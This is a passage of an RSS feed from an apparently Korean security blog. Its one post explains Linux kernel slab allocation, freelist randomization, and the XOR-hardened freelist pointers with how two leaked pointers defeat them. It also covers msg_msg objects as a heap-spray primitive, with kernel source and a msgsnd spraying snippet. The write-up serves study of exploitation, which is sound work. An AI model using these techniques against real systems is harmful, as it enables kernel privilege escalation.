<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>ssongk</title>
    <link>https://ssongkit.tistory.com/</link>
    <description>벌레 사냥꾼이 되고 싶어요</description>
    <language>ko</language>
    <pubDate>Sun, 17 May 2026 11:13:56 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>ssongk</managingEditor>
    <image>
      <title>ssongk</title>
      <url>https://tistory1.daumcdn.net/tistory/5028094/attach/cb10ea00ff4941c5bbcc9a50c7200721</url>
      <link>https://ssongkit.tistory.com</link>
    </image>
    <item>
      <title>[Linux Kernel Exploit] Slab Allocator &amp;amp; msg_msg Struct</title>
      <link>https://ssongkit.tistory.com/832</link>
      <description>&lt;h2 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size26&quot;&gt;1. 개요&lt;/h2&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;리눅스 커널 익스플로잇을 공부하다 보면 힙 스프레이 라는 개념이 등장합니다. 스프레이는 직역하면 무언가를 뿌리는 것 인데요. 익스플로잇 관점으로 다시 해석하면 무언가를 뿌리는데 힙 영역에 객체를 뿌리는 것 입니다. 스프레이가 필요한 이유는 리눅스 커널의 randomized free list 때문인데요. 이번 글에선 힙 스프레이에 자주 사용되는 msg_msg 구조체의 구조에 대해 간략히 알아보도록 하겠습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size26&quot;&gt;2. Slab Allocator&lt;/h2&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;msg_msg 구조체에 대해 알아보기에 앞서 리눅스 커널의 할당자(Allocator)에 대해 알아보겠습니다. 현재 리눅스 커널은 Slab Allocator를 사용하며 유저 영역의 힙과는 다르게 동작합니다. 구조를 보면 크게 cache라는 덩어리 안에 slab이 존재하며 slab 안에는 slot이 존재합니다. 커널에 힙 할당을 요청하면 free slot들 중 하나가 할당되고 object가 만들어집니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsneqS/btsJUUtOlGS/miRvw4plp6TDE9criNB0r1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsneqS/btsJUUtOlGS/miRvw4plp6TDE9criNB0r1/img.png&quot; data-origin-width=&quot;1802&quot; data-origin-height=&quot;1028&quot; data-is-animation=&quot;false&quot; style=&quot;width: 44.9864%; margin-right: 10px;&quot; data-widthpercent=&quot;45.52&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsneqS/btsJUUtOlGS/miRvw4plp6TDE9criNB0r1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsneqS%2FbtsJUUtOlGS%2FmiRvw4plp6TDE9criNB0r1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1802&quot; height=&quot;1028&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zi2Tj/btsJTqt9eX9/KCqJuF0v0xgVEQ9xmAYjU1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zi2Tj/btsJTqt9eX9/KCqJuF0v0xgVEQ9xmAYjU1/img.png&quot; data-origin-width=&quot;2006&quot; data-origin-height=&quot;956&quot; data-is-animation=&quot;false&quot; style=&quot;width: 53.8508%;&quot; data-widthpercent=&quot;54.48&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zi2Tj/btsJTqt9eX9/KCqJuF0v0xgVEQ9xmAYjU1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fzi2Tj%2FbtsJTqt9eX9%2FKCqJuF0v0xgVEQ9xmAYjU1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2006&quot; height=&quot;956&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;pwn.college&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;커널에서 free 상태의 object들은 freelist로 관리되는데 linked list 구조를 가집니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/u5UK0/btsJSLFDCI0/Rj6R4cK2oW5DYbFwOLZXQ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/u5UK0/btsJSLFDCI0/Rj6R4cK2oW5DYbFwOLZXQ1/img.png&quot; data-origin-width=&quot;1800&quot; data-origin-height=&quot;892&quot; data-is-animation=&quot;false&quot; style=&quot;width: 49.9601%; margin-right: 10px;&quot; data-widthpercent=&quot;50.55&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/u5UK0/btsJSLFDCI0/Rj6R4cK2oW5DYbFwOLZXQ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fu5UK0%2FbtsJSLFDCI0%2FRj6R4cK2oW5DYbFwOLZXQ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1800&quot; height=&quot;892&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/o7PJn/btsJTIBeBBe/KnkvMA3IvV3Zt3aCKsuVSk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/o7PJn/btsJTIBeBBe/KnkvMA3IvV3Zt3aCKsuVSk/img.png&quot; data-origin-width=&quot;1836&quot; data-origin-height=&quot;930&quot; data-is-animation=&quot;false&quot; style=&quot;width: 48.8771%;&quot; data-widthpercent=&quot;49.45&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/o7PJn/btsJTIBeBBe/KnkvMA3IvV3Zt3aCKsuVSk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fo7PJn%2FbtsJTIBeBBe%2FKnkvMA3IvV3Zt3aCKsuVSk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1836&quot; height=&quot;930&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;pwn.college&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 재할당될 때는 마지막에 해제한 object가 재할당되는 LIFO 구조를 가지고 있습니다. free slot에는 다음 free slot을 가리키는 next 포인터가 존재하는데 slot의 중간에 존재합니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lZvEg/btsJTCuvQDk/4IKO9wnUMixLOMnPBIZ421/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lZvEg/btsJTCuvQDk/4IKO9wnUMixLOMnPBIZ421/img.png&quot; data-origin-width=&quot;1778&quot; data-origin-height=&quot;892&quot; data-is-animation=&quot;false&quot; style=&quot;width: 50.3661%; margin-right: 10px;&quot; data-widthpercent=&quot;50.96&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lZvEg/btsJTCuvQDk/4IKO9wnUMixLOMnPBIZ421/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlZvEg%2FbtsJTCuvQDk%2F4IKO9wnUMixLOMnPBIZ421%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1778&quot; height=&quot;892&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VeKLG/btsJUlrR7i5/fw3wK124poO7DiVtyRXJlk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VeKLG/btsJUlrR7i5/fw3wK124poO7DiVtyRXJlk/img.png&quot; data-origin-width=&quot;1784&quot; data-origin-height=&quot;930&quot; data-is-animation=&quot;false&quot; style=&quot;width: 48.4711%;&quot; data-widthpercent=&quot;49.04&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VeKLG/btsJUlrR7i5/fw3wK124poO7DiVtyRXJlk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVeKLG%2FbtsJUlrR7i5%2Ffw3wK124poO7DiVtyRXJlk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1784&quot; height=&quot;930&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;pwn.college&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. freelist randomization &amp;amp; harden freelist&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;freed slot 주소들이 저장된 freelist에는 보호기법이 적용되어 있습니다. 깊게 인터널스까지 보진 않고 간단하게 개념만 살펴보도록 하겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 randomization은 slab 내부에서 slot이 할당되는 순서가 랜덤이 됩니다. 즉, slot 하나의 주소를 안다고 하더라고 해당 slot의 다음 주소는 object 사이즈를 더한 주소가 되는 것이 아니라는 의미입니다. 이 freelist randomization을 극복하기 위해 힙 스프레이가 등장했습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bl2b1r/btsJSMEBa6R/EcGbWba7fGo0S9Nq0sCaf1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bl2b1r/btsJSMEBa6R/EcGbWba7fGo0S9Nq0sCaf1/img.png&quot; data-origin-width=&quot;951&quot; data-origin-height=&quot;480&quot; data-is-animation=&quot;false&quot; style=&quot;width: 50.2285%; margin-right: 10px;&quot; data-widthpercent=&quot;50.82&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bl2b1r/btsJSMEBa6R/EcGbWba7fGo0S9Nq0sCaf1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbl2b1r%2FbtsJSMEBa6R%2FEcGbWba7fGo0S9Nq0sCaf1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;951&quot; height=&quot;480&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qZ2qO/btsJUhpLzKo/rzNekPORnhbzCskAM7PEZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qZ2qO/btsJUhpLzKo/rzNekPORnhbzCskAM7PEZK/img.png&quot; data-origin-width=&quot;928&quot; data-origin-height=&quot;484&quot; data-is-animation=&quot;false&quot; style=&quot;width: 48.6087%;&quot; data-widthpercent=&quot;49.18&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qZ2qO/btsJUhpLzKo/rzNekPORnhbzCskAM7PEZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqZ2qO%2FbtsJUhpLzKo%2FrzNekPORnhbzCskAM7PEZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;928&quot; height=&quot;484&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;pwn.college&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;힙 스프레이는 UAF가 발생될 때 많이 쓰이며 같은 slab에 최대한 많은 attacker object를 할당받아서 다음에 할당될 object가 조작할 수 있는 attacker object가 될 확률을 높히는데에 목적을 두고 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJYAY2/btsJUa5ih9k/6kgW0YmtuIDMR8Nnk1k1vK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJYAY2/btsJUa5ih9k/6kgW0YmtuIDMR8Nnk1k1vK/img.png&quot; data-origin-width=&quot;769&quot; data-origin-height=&quot;385&quot; data-is-animation=&quot;false&quot; style=&quot;width: 53.0473%; margin-right: 10px;&quot; data-widthpercent=&quot;53.67&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJYAY2/btsJUa5ih9k/6kgW0YmtuIDMR8Nnk1k1vK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJYAY2%2FbtsJUa5ih9k%2F6kgW0YmtuIDMR8Nnk1k1vK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;769&quot; height=&quot;385&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dWDbfb/btsJT5pwHQz/OYKEk1TGveczFNkwW3wybk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dWDbfb/btsJT5pwHQz/OYKEk1TGveczFNkwW3wybk/img.png&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;464&quot; data-is-animation=&quot;false&quot; style=&quot;width: 45.7899%;&quot; data-widthpercent=&quot;46.33&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dWDbfb/btsJT5pwHQz/OYKEk1TGveczFNkwW3wybk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdWDbfb%2FbtsJT5pwHQz%2FOYKEk1TGveczFNkwW3wybk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;464&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;pwn.college&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음으로 harden freelist는 safe liking처럼 next 포인터에 특정한 연산을 수행해 보안성을 높이는 기술입니다. 다음과 같은 구조로 이루어진다고 하는데 코드 자체를 이해하려 하진 않고 이렇게 연산하는구나 하고 넘어갔습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l7WE0/btsJTTJtTAb/h8zwC6xTWDosFv7iFEfJV1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l7WE0/btsJTTJtTAb/h8zwC6xTWDosFv7iFEfJV1/img.png&quot; data-origin-width=&quot;861&quot; data-origin-height=&quot;487&quot; data-is-animation=&quot;false&quot; style=&quot;width: 47.8653%; margin-right: 10px;&quot; data-widthpercent=&quot;48.43&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l7WE0/btsJTTJtTAb/h8zwC6xTWDosFv7iFEfJV1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl7WE0%2FbtsJTTJtTAb%2Fh8zwC6xTWDosFv7iFEfJV1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;861&quot; height=&quot;487&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pOZNY/btsJTpa24Yu/2F7BgSDnnvyhsvNDOzMlbK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pOZNY/btsJTpa24Yu/2F7BgSDnnvyhsvNDOzMlbK/img.png&quot; data-origin-width=&quot;915&quot; data-origin-height=&quot;486&quot; data-is-animation=&quot;false&quot; style=&quot;width: 50.9719%;&quot; data-widthpercent=&quot;51.57&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pOZNY/btsJTpa24Yu/2F7BgSDnnvyhsvNDOzMlbK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpOZNY%2FbtsJTpa24Yu%2F2F7BgSDnnvyhsvNDOzMlbK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;915&quot; height=&quot;486&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;pwn.college&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 극복하기 위해선 2개의 next 포인터를 릭해야 합니다. 하나는 다음 slot을 가리키는 next 포인터이고, 다른 하나는 null을 가리키는() next 포인터 입니다. 2개를 xor 연산한 값을 원하는 주소와 xor 연산하게 되면 next slot이 원하는 주소가 될 수 있도록 조작할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size26&quot;&gt;4. msg_msg struct&lt;/h2&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;이제 드디어 msg_msg에 대해 알아보겠습니다. msg_msg는 IPC에서 사용된다고 합니다. 유저가 원하는대로 크기를 조작해서 kmalloc-64부터 kmalloc-4k까지 slot을 할당받을 수 있다는 점이 매력적이기 때문에 주로 사용하는 것 같습니다. msg_msg는 다음과 같이 총 0x30만큼의 크기를 가지고 있습니다. list_head의 크기가 0x10으로 prev, next 포인터를 가지고 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1727931496887&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/* one msg_msg structure for each message */
struct msg_msg {
	struct list_head m_list;
	long m_type;
	size_t m_ts;		/* message text size */
	struct msg_msgseg *next;
	void *security;
	/* the actual message follows immediately */
};&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size26&quot;&gt;5.&amp;nbsp;do_msgsnd()&lt;/h2&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;메시지를 보낼 때 유저 영역에서 msgsnd() 함수를 사용합니다. msgsnd()가 호출되면 커널에서 do_msgsnd() -&amp;gt; load_msg() -&amp;gt; alloc_msg() 순으로 호출되면서 메시지 헤더와 메시지 데이터를 포함하는 데 필요한 객체를 할당합니다. msgsnd()를 호출할 땐 다음과 같이 사용합니다. mtext 배열은 원하는 사이즈만큼 설정해서 보내면 됩니다. mtype은 1로 지정합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1727934021906&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;struct msgbuf
{
    long mtype;
    char mtext[0x1fc8];
} msg;

msg.mtype = 1;
memset(msg.mtext, 'A', sizeof(msg.mtext));

qid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT));
msgsnd(qid, &amp;amp;msg, sizeof(msg.mtext), IPC_NOWAIT);&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;먼저 do_msgsnd()는 다음과 같으며 msgsz, msqid, mtype를 검사하고 load_msg()를 호출합니다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1727932812028&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;static long do_msgsnd(int msqid, long mtype, void __user *mtext, size_t msgsz, int msgflg)
{
	struct msg_queue *msq;
	struct msg_msg *msg;
	int err;
	struct ipc_namespace *ns;
	DEFINE_WAKE_Q(wake_q);

	ns = current-&amp;gt;nsproxy-&amp;gt;ipc_ns;

	if (msgsz &amp;gt; ns-&amp;gt;msg_ctlmax || (long) msgsz &amp;lt; 0 || msqid &amp;lt; 0)
		return -EINVAL;
	if (mtype &amp;lt; 1)
		return -EINVAL;

	msg = load_msg(mtext, msgsz);
	if (IS_ERR(msg))
		return PTR_ERR(msg);

	msg-&amp;gt;m_type = mtype;
	msg-&amp;gt;m_ts = msgsz;

	rcu_read_lock();
	msq = msq_obtain_object_check(ns, msqid);
	if (IS_ERR(msq)) {
		err = PTR_ERR(msq);
		goto out_unlock1;
	}

	...
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;load_msg에서 메시지 내용을 저장합니다. 저장 공간은 alloc_msg() 함수에서 할당 받습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1727933121839&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;struct msg_msg *load_msg(const void __user *src, size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg *seg;
	int err = -EFAULT;
	size_t alen;

	msg = alloc_msg(len);
	if (msg == NULL)
		return ERR_PTR(-ENOMEM);

	alen = min(len, DATALEN_MSG);
	if (copy_from_user(msg + 1, src, alen))
		goto out_err;

	for (seg = msg-&amp;gt;next; seg != NULL; seg = seg-&amp;gt;next) {
		len -= alen;
		src = (char __user *)src + alen;
		alen = min(len, DATALEN_SEG);
		if (copy_from_user(seg + 1, src, alen))
			goto out_err;
	}

	err = security_msg_msg_alloc(msg);
	if (err)
		goto out_err;

	return msg;

out_err:
	free_msg(msg);
	return ERR_PTR(err);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;alloc_msg에서 kmalloc으로 보낸 메시지를 저장할 object를 할당 받습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1727933190380&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;struct msg_msgseg {
	struct msg_msgseg *next;
	/* the next part of the message follows immediately */
};

#define DATALEN_MSG	((size_t)PAGE_SIZE-sizeof(struct msg_msg))
#define DATALEN_SEG	((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))

static struct msg_msg *alloc_msg(size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg **pseg;
	size_t alen;

	alen = min(len, DATALEN_MSG);
	msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
	if (msg == NULL)
		return NULL;

	msg-&amp;gt;next = NULL;
	msg-&amp;gt;security = NULL;

	len -= alen;
	pseg = &amp;amp;msg-&amp;gt;next;
	while (len &amp;gt; 0) {
		struct msg_msgseg *seg;

		cond_resched();

		alen = min(len, DATALEN_SEG);
		seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
		if (seg == NULL)
			goto out_err;
		*pseg = seg;
		seg-&amp;gt;next = NULL;
		pseg = &amp;amp;seg-&amp;gt;next;
		len -= alen;
	}

	return msg;

out_err:
	free_msg(msg);
	return NULL;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;alloc_msg를 살펴보면 min(len, DATALEN_MSG)의 결과 값인 alen이 kmalloc의 사이즈로 사용됩니다. DATALEN_MSG는 PAGE_SIZE(0x1000)에서 msg_msg의 사이즈 값(0x30)을 뺀 값입니다. 즉, 한 번에 최대 0xfd0만큼 메세지가 할당됩니다. 이후 len -= alen해서 남은 len에 대해선 segment에 저장되며 단일 연결 리스트로 관리됩니다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;세그먼트는 min(len, DATALEN_SEG)의 결과 값인 alen이 kmalloc의 사이즈로에 사용됩니다. 최대 값은 0x1000-0x8인 0xff8 입니다. 할당받은 세그먼트는 msg_msgseg-&amp;gt;next에 저장됩니다. while 문을 반복하면서 len이 0이 될 때까지 반복하면서 세그먼트 리스트를 만들어 줍니다. 이렇게 만들어진 세그먼트 리스트는 msg-&amp;gt;next에 저장되며 아래 그림과 같은 구조를 가집니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9PIK3/btsJT7HGSOt/jb302sPzKHqkzZ8BQXFd0K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9PIK3/btsJT7HGSOt/jb302sPzKHqkzZ8BQXFd0K/img.png&quot; data-origin-width=&quot;2192&quot; data-origin-height=&quot;922&quot; data-is-animation=&quot;false&quot; style=&quot;width: 48.753%; margin-right: 10px;&quot; data-widthpercent=&quot;49.33&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9PIK3/btsJT7HGSOt/jb302sPzKHqkzZ8BQXFd0K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9PIK3%2FbtsJT7HGSOt%2Fjb302sPzKHqkzZ8BQXFd0K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2192&quot; height=&quot;922&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VUDG5/btsJUYwmcAD/21wXoHDGieaJMb8EmgcNjk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VUDG5/btsJUYwmcAD/21wXoHDGieaJMb8EmgcNjk/img.png&quot; data-origin-width=&quot;2076&quot; data-origin-height=&quot;850&quot; data-is-animation=&quot;false&quot; style=&quot;width: 50.0842%;&quot; data-widthpercent=&quot;50.67&quot;&gt;&lt;img 